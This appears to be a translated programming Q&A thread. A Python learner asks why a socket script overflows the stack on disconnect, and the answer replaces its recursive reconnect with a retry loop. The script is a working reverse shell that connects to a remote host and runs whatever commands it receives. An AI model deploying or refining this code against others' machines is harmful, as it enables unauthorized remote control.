无法从堆栈溢出中恢复

时间:2016-12-07 20:53:09

标签: python sockets stack overflow

这是我在学习Python时制作的一个小脚本,但由于某种原因它告诉我它无法从堆栈中恢复过流。当另一台服务器断开连接时会发生这种情况。

剧本:

#/user/bin/python
import os
import socket
import subprocess
import errno
import threading
s = socket.socket()
host = '192.168.1.6'
port = 9999

def connect():
    try:
        s.connect((host,port))
    except Exception as msg:
        print("ERROR HAPPEND 2 ")
        connect()
    else:
        Work()

def Work():
    while True:
        data = s.recv(1024)
        print("Data : " + data.decode('utf-8'))
        if data[:2].decode("utf-8") == 'cd':
            os.chdir(data[3:].decode('utf-8'))
        if len(data) >0:
            cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE,
                                   stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes , "utf-8")
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))
        else:
            s.shutdown(socket.SHUT_RDWR)
            s.close()
            thread1 = threading.Thread(target = connect)
            thread1.start()
            break

connect()

1 个答案:

答案 0 :(得分:1)

此代码错误:

def connect():
    try:
        s.connect((host,port))
    except Exception as msg:
        print("ERROR HAPPEND 2 ")
        connect()
    else:
        Work()

如果由于某种原因连接失败(由于您未过滤异常类型,try/except块中的拒绝,甚至是语法错误),那么您将重新打印错误消息并重试通过递归来调用你的函数。

由于套接字错误很可能再次发生,因为您在不更改任何内容的情况下立即重试相同的操作(例如,启动其他程序!),您很快就会出现堆栈溢出。

修复,第一步:让您的连接崩溃,并显示正确的错误消息

def connect():
    s.connect((host,port))
    Work()

修复,第二步:如果你认为以后可以建立连接,你可以捕获异常,等待一段时间然后重试,例如:

def connect():
    while True:
        try:
            s.connect((host,port))
            break  # connection OK, proceeed to Work
        except ConnectionRefusedError as e:
            print("{}, retry in 10s ...".format(str(e)))
            time.sleep(10)
    Work()

在你的情况下,在套接字关闭之后,你创建另一个调用connect的线程,并且递归地没有这样做,这解释了你在断开另一方时遇到的问题。